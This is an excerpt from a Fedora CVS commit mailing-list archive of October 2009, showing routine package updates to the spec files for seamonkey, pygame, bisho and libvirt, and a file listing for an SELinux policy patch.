 %patch7 -p0
 %patch8 -p1
+%patch9 -p0
+%patch10 -p2
+%patch11 -p2
+%patch12 -p2
 
 %build
 BOOST_ROOT=`pwd`
@@ -438,6 +446,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Wed Oct 14 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-7
+- Several fixes to support PySide
+- Resolves: #520087
+- GCC 4.4 name resolution fixes for GIL
+- Resolves: #526834
+
 * Tue Sep 08 2009 Karsten Hopp <karsten at redhat.com> 1.39.0-6
 - bump release and rebuild as the package was linked with an old libicu 
   during the mass rebuild on s390x



From stransky at fedoraproject.org  Wed Oct 14 12:24:42 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Wed, 14 Oct 2009 12:24:42 +0000 (UTC)
Subject: rpms/seamonkey/devel seamonkey.spec,1.64,1.65
Message-ID: <20091014122442.1825611C00E5@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31164

Modified Files:
	seamonkey.spec 
Log Message:
spec fix


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/seamonkey.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- seamonkey.spec	14 Oct 2009 12:19:12 -0000	1.64
+++ seamonkey.spec	14 Oct 2009 12:24:41 -0000	1.65
@@ -24,7 +24,7 @@ License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}-20090923.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091013.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop



From limb at fedoraproject.org  Wed Oct 14 12:43:29 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Wed, 14 Oct 2009 12:43:29 +0000 (UTC)
Subject: rpms/pygame/devel pygame-1.9.1-config.patch, NONE, 1.1 .cvsignore,
	1.4, 1.5 pygame.spec, 1.31, 1.32 sources, 1.4, 1.5
Message-ID: <20091014124329.699A011C00E5@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/pygame/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2081

Modified Files:
	.cvsignore pygame.spec sources 
Added Files:
	pygame-1.9.1-config.patch 
Log Message:
New upstream.


pygame-1.9.1-config.patch:
 config_unix.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE pygame-1.9.1-config.patch ---
--- pygame-1.9.1release/config_unix.py~	2009-10-08 14:59:39.000000000 -0500
+++ pygame-1.9.1release/config_unix.py	2009-10-08 15:00:53.000000000 -0500
@@ -23,0 +24 @@
+    return 1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pygame/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 13:27:46 -0000	1.4
+++ .cvsignore	14 Oct 2009 12:43:28 -0000	1.5
@@ -1 +1 @@
-pygame-1.8.1release.tar.gz
+pygame-1.9.1release.tar.gz


Index: pygame.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pygame/devel/pygame.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- pygame.spec	26 Jul 2009 19:49:46 -0000	1.31
+++ pygame.spec	14 Oct 2009 12:43:29 -0000	1.32
@@ -1,14 +1,15 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pygame
-Version:        1.8.1
-Release:        7%{?dist}
+Version:        1.9.1
+Release:        1%{?dist}
 Summary:        Python modules for writing games
 
 Group:          Development/Languages
 License:        LGPLv2+
 URL:            http://www.pygame.org
-Patch0:         %{name}-1.8.1-config.patch
+#Patch0:         %{name}-1.8.1-config.patch
+Patch0:         %{name}-1.9.1-config.patch
 Source0:        http://pygame.org/ftp/%{name}-%{version}release.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -94,6 +95,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 08 2009 Jon Ciesla <limb at jcomserv.net> - 1.9.1-1
+- New upstream release, BZ 526365.
+- Updated config_unix patch for 1.9.1.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.8.1-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pygame/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 13:27:46 -0000	1.4
+++ sources	14 Oct 2009 12:43:29 -0000	1.5
@@ -1 +1 @@
-3e72f11d99c1a46ed69eb943c9de20a5  pygame-1.8.1release.tar.gz
+1c4cdc708d17c8250a2d78ef997222fc  pygame-1.9.1release.tar.gz



From pbrobinson at fedoraproject.org  Wed Oct 14 12:54:49 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 14 Oct 2009 12:54:49 +0000 (UTC)
Subject: rpms/bisho/devel .cvsignore, 1.5, 1.6 bisho.spec, 1.11, 1.12 sources,
	1.5, 1.6
Message-ID: <20091014125449.614DC11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4625

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- New upstream 0.15 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Oct 2009 16:09:17 -0000	1.5
+++ .cvsignore	14 Oct 2009 12:54:49 -0000	1.6
@@ -1 +1 @@
-bisho-0.14.tar.bz2
+bisho-0.15.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/bisho.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- bisho.spec	12 Oct 2009 16:46:33 -0000	1.11
+++ bisho.spec	14 Oct 2009 12:54:49 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           bisho
-Version:        0.14
-Release:        2%{?dist}
+Version:        0.15
+Release:        1%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
 Group:          System Environment/Libraries
@@ -92,6 +92,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
+- New upstream 0.15 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-2
 - Add new nbtk dep
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Oct 2009 16:09:17 -0000	1.5
+++ sources	14 Oct 2009 12:54:49 -0000	1.6
@@ -1 +1 @@
-437018324727e5a223511a1d414abcbe  bisho-0.14.tar.bz2
+bb28f0ec9d197ad3e5419f1b4bb1ad58  bisho-0.15.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct 14 12:57:11 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 14 Oct 2009 12:57:11 +0000 (UTC)
Subject: rpms/bisho/F-12 .cvsignore, 1.5, 1.6 bisho.spec, 1.10, 1.11 sources,
	1.5, 1.6
Message-ID: <20091014125711.2A6FE11C02A3@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5177

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- New upstream 0.15 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Oct 2009 17:00:33 -0000	1.5
+++ .cvsignore	14 Oct 2009 12:57:10 -0000	1.6
@@ -1 +1 @@
-bisho-0.14.tar.bz2
+bisho-0.15.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/bisho.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- bisho.spec	12 Oct 2009 17:00:33 -0000	1.10
+++ bisho.spec	14 Oct 2009 12:57:10 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           bisho
-Version:        0.14
-Release:        2%{?dist}
+Version:        0.15
+Release:        1%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
 Group:          System Environment/Libraries
@@ -92,6 +92,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
+- New upstream 0.15 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-2
 - Add new nbtk dep
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Oct 2009 17:00:33 -0000	1.5
+++ sources	14 Oct 2009 12:57:10 -0000	1.6
@@ -1 +1 @@
-437018324727e5a223511a1d414abcbe  bisho-0.14.tar.bz2
+bb28f0ec9d197ad3e5419f1b4bb1ad58  bisho-0.15.tar.bz2



From veillard at fedoraproject.org  Wed Oct 14 13:03:31 2009
From: veillard at fedoraproject.org (Daniel Veillard)
Date: Wed, 14 Oct 2009 13:03:31 +0000 (UTC)
Subject: rpms/libvirt/devel .cvsignore, 1.47, 1.48 libvirt.spec, 1.191,
	1.192 sources, 1.49,
	1.50 libvirt-change-logrotate-config-to-weekly.patch, 1.1,
	NONE libvirt-disable-audio-backend.patch, 1.1,
	NONE libvirt-fix-device-detach-typo1.patch, 1.1,
	NONE libvirt-fix-device-detach-typo2.patch, 1.1,
	NONE libvirt-fix-device-detach-typo3.patch, 1.1,
	NONE libvirt-fix-drv-supports-feature-bogus-error.patch, 1.2,
	NONE libvirt-fix-libvirtd-leak-in-error-reply.patch, 1.1,
	NONE libvirt-fix-net-hotunplug-double-free.patch, 1.4,
	NONE libvirt-fix-pci-hostdev-hotunplug-leak.patch, 1.4,
	NONE libvirt-fix-qemu-raw-format-save.patch, 1.2,
	NONE libvirt-fix-qemu-restore-from-raw1.patch, 1.1,
	NONE libvirt-fix-qemu-restore-from-raw2.patch, 1.1,
	NONE libvirt-fix-usb-device-passthrough.patch, 1.2,
	NONE libvirt-logrotate-create-lxc-uml-dirs.patch, 1.1,
	NONE libvirt-svirt-relabel-qcow2-backing-files.patch, 1.1, NONE
Message-ID: <20091014130331.D0E8411C00E5@cvs1.fedora.phx.redhat.com>

Author: veillard

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6466

Modified Files:
	.cvsignore libvirt.spec sources 
Removed Files:
	libvirt-change-logrotate-config-to-weekly.patch 
	libvirt-disable-audio-backend.patch 
	libvirt-fix-device-detach-typo1.patch 
	libvirt-fix-device-detach-typo2.patch 
	libvirt-fix-device-detach-typo3.patch 
	libvirt-fix-drv-supports-feature-bogus-error.patch 
	libvirt-fix-libvirtd-leak-in-error-reply.patch 
	libvirt-fix-net-hotunplug-double-free.patch 
	libvirt-fix-pci-hostdev-hotunplug-leak.patch 
	libvirt-fix-qemu-raw-format-save.patch 
	libvirt-fix-qemu-restore-from-raw1.patch 
	libvirt-fix-qemu-restore-from-raw2.patch 
	libvirt-fix-usb-device-passthrough.patch 
	libvirt-logrotate-create-lxc-uml-dirs.patch 
	libvirt-svirt-relabel-qcow2-backing-files.patch 
Log Message:
0.7.2 release, Daniel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	15 Sep 2009 12:50:58 -0000	1.47
+++ .cvsignore	14 Oct 2009 13:03:30 -0000	1.48
@@ -11,3 +11,4 @@ libvirt-0.6.4.tar.gz
 libvirt-0.6.5.tar.gz
 libvirt-0.7.0.tar.gz
 libvirt-0.7.1.tar.gz
+libvirt-0.7.2.tar.gz


Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- libvirt.spec	13 Oct 2009 15:43:47 -0000	1.191
+++ libvirt.spec	14 Oct 2009 13:03:31 -0000	1.192
@@ -150,47 +150,11 @@
 
 Summary: Library providing a simple API virtualization
 Name: libvirt
-Version: 0.7.1
-Release: 12%{?dist}%{?extra_release}
+Version: 0.7.2
+Release: 1%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
-
-# A couple of hot-unplug memory handling fixes (#523953)
-Patch01: libvirt-fix-net-hotunplug-double-free.patch
-Patch02: libvirt-fix-pci-hostdev-hotunplug-leak.patch
-
-# Don't set a bogus error in virDrvSupportsFeature()
-Patch03: libvirt-fix-drv-supports-feature-bogus-error.patch
-
-# Fix raw save format
-Patch04: libvirt-fix-qemu-raw-format-save.patch
-
-# Fix USB device passthrough (#422683)
-Patch05: libvirt-fix-usb-device-passthrough.patch
-
-# Disable sound backend (#524499, #508317)
-Patch06: libvirt-disable-audio-backend.patch
-
-# Re-label qcow2 backing files (#497131)
-Patch07: libvirt-svirt-relabel-qcow2-backing-files.patch
-
-# Change logrotate config to weekly (#526769)
-Patch08: libvirt-change-logrotate-config-to-weekly.patch
-Patch09: libvirt-logrotate-create-lxc-uml-dirs.patch
-
-# Add several PCI hot-unplug typo fixes from upstream
-Patch10: libvirt-fix-device-detach-typo1.patch
-Patch11: libvirt-fix-device-detach-typo2.patch
-Patch12: libvirt-fix-device-detach-typo3.patch
-
-# Fix libvirtd memory leak during error reply sending (#528162)
-Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
-
-# Fix restore of qemu guest using raw save format (#523158)
-Patch14: libvirt-fix-qemu-restore-from-raw1.patch
-Patch15: libvirt-fix-qemu-restore-from-raw2.patch
-
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -350,9 +314,6 @@ BuildRequires: netcf-devel
 # Fedora build root suckage
 BuildRequires: gawk
 
-# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
-BuildRequires: automake
-
 %description
 Libvirt is a C toolkit to interact with the virtualization capabilities
 of recent versions of Linux (and other OSes). The main package includes
@@ -406,26 +367,7 @@ of recent versions of Linux (and other O
 %prep
 %setup -q
 
-%patch01 -p1
-%patch02 -p1
-%patch03 -p1
-%patch04 -p1
-%patch05 -p1
-%patch06 -p1
-%patch07 -p1
-%patch08 -p1
-%patch09 -p1
-%patch10 -p1
-%patch11 -p1
-%patch12 -p1
-%patch13 -p1
-%patch14 -p1
-%patch15 -p1
-
 %build
-# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
-automake
-
 %if ! %{with_xen}
 %define _without_xen --without-xen
 %endif
@@ -567,10 +509,10 @@ gzip -9 ChangeLog
 rm -fr %{buildroot}
 
 %makeinstall
-(cd docs/examples ; make clean ; rm -rf .deps Makefile Makefile.in)
-(cd docs/examples/python ; rm -rf .deps Makefile Makefile.in)
-(cd examples/hellolibvirt ; make clean ; rm -rf .deps .libs Makefile Makefile.in)
-(cd examples/domain-events/events-c ;  make clean ;rm -rf .deps .libs Makefile Makefile.in)
+for i in domain-events/events-c dominfo domsuspend hellolibvirt python
+do
+  (cd examples/$i ; make clean ; rm -rf .deps .libs Makefile Makefile.in)
+done
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.a
 rm -f $RPM_BUILD_ROOT%{_libdir}/python*/site-packages/*.la
@@ -597,6 +539,11 @@ rm -f $RPM_BUILD_ROOT%{_datadir}/augeas/
 %endif
 %find_lang %{name}
 
+%if ! %{with_lxc}
+rm -f $RPM_BUILD_ROOT%{_datadir}/augeas/lenses/libvirtd_lxc.aug
+rm -f $RPM_BUILD_ROOT%{_datadir}/augeas/lenses/tests/test_libvirtd_lxc.aug
+%endif
+
 %if ! %{with_python}
 rm -rf $RPM_BUILD_ROOT%{_datadir}/doc/libvirt-python-%{version}
 %endif
@@ -608,6 +555,9 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/doc/li
 %if ! %{with_qemu}
 rm -rf $RPM_BUILD_ROOT%{_sysconfdir}/libvirt/qemu.conf
 %endif
+%if ! %{with_lxc}
+rm -rf $RPM_BUILD_ROOT%{_sysconfdir}/libvirt/lxc.conf
+%endif
 
 %if %{with_libvirtd}
 chmod 0644 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/libvirtd
@@ -688,6 +638,9 @@ fi
 %if %{with_qemu}
 %config(noreplace) %{_sysconfdir}/libvirt/qemu.conf
 %endif
+%if %{with_lxc}
+%config(noreplace) %{_sysconfdir}/libvirt/lxc.conf
+%endif
 
 %dir %{_datadir}/libvirt/
 
@@ -729,6 +682,11 @@ fi
 %{_datadir}/augeas/lenses/tests/test_libvirtd_qemu.aug
 %endif
 
+%if %{with_lxc}
+%{_datadir}/augeas/lenses/libvirtd_lxc.aug
+%{_datadir}/augeas/lenses/tests/test_libvirtd_lxc.aug
+%endif
+
 %{_datadir}/augeas/lenses/libvirtd.aug
 %{_datadir}/augeas/lenses/tests/test_libvirtd.aug
 
@@ -762,8 +720,10 @@ fi
 
 %{_mandir}/man1/virsh.1*
 %{_mandir}/man1/virt-xml-validate.1*
+%{_mandir}/man1/virt-pki-validate.1*
 %{_bindir}/virsh
 %{_bindir}/virt-xml-validate
+%{_bindir}/virt-pki-validate
 %{_libdir}/lib*.so.*
 
 %dir %{_datadir}/libvirt/
@@ -797,9 +757,12 @@ fi
 %doc %{_datadir}/gtk-doc/html/libvirt/*.css
 
 %doc docs/*.html docs/html docs/*.gif
-%doc docs/examples
 %doc docs/libvirt-api.xml
-%doc examples
+%doc examples/hellolibvirt
+%doc examples/domain-events/events-c
+%doc examples/dominfo
+%doc examples/domsuspend
+%doc examples/xml
 
 %if %{with_python}
 %files python
@@ -810,11 +773,18 @@ fi
 %{_libdir}/python*/site-packages/libvirtmod*
 %doc python/tests/*.py
 %doc python/TODO
-%doc python/libvirtclass.txt
-%doc docs/examples/python
+%doc examples/python
+%doc examples/domain-events/events-python
 %endif
 
 %changelog
+* Wed Oct 14 2009 Daniel Veillard <veillard at redhat.com> - 0.7.2-1
+- Upstream release of 0.7.2
+- Allow to define ESX domains
+- Allows suspend and resulme of LXC domains
+- API for data streams
+- many bug fixes
+
 * Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
 - Fix restore of qemu guest using raw save format (#523158)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	15 Sep 2009 12:50:58 -0000	1.49
+++ sources	14 Oct 2009 13:03:31 -0000	1.50
@@ -1 +1 @@
-f1cd360a5da38b847e166c6482141940  libvirt-0.7.1.tar.gz
+133aead8c46c0601b6b37e024c6aa86a  libvirt-0.7.2.tar.gz


--- libvirt-change-logrotate-config-to-weekly.patch DELETED ---


--- libvirt-disable-audio-backend.patch DELETED ---


--- libvirt-fix-device-detach-typo1.patch DELETED ---


--- libvirt-fix-device-detach-typo2.patch DELETED ---


--- libvirt-fix-device-detach-typo3.patch DELETED ---


--- libvirt-fix-drv-supports-feature-bogus-error.patch DELETED ---


--- libvirt-fix-libvirtd-leak-in-error-reply.patch DELETED ---


--- libvirt-fix-net-hotunplug-double-free.patch DELETED ---


--- libvirt-fix-pci-hostdev-hotunplug-leak.patch DELETED ---


--- libvirt-fix-qemu-raw-format-save.patch DELETED ---


--- libvirt-fix-qemu-restore-from-raw1.patch DELETED ---


--- libvirt-fix-qemu-restore-from-raw2.patch DELETED ---


--- libvirt-fix-usb-device-passthrough.patch DELETED ---


--- libvirt-logrotate-create-lxc-uml-dirs.patch DELETED ---


--- libvirt-svirt-relabel-qcow2-backing-files.patch DELETED ---



From dwalsh at fedoraproject.org  Wed Oct 14 13:29:13 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 14 Oct 2009 13:29:13 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch,1.106,1.107
Message-ID: <20091014132914.0070411C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11382

Modified Files:
	policy-F12.patch 
Log Message:
* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
- Fix labeling for privoxy config files


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   68 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |   10 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
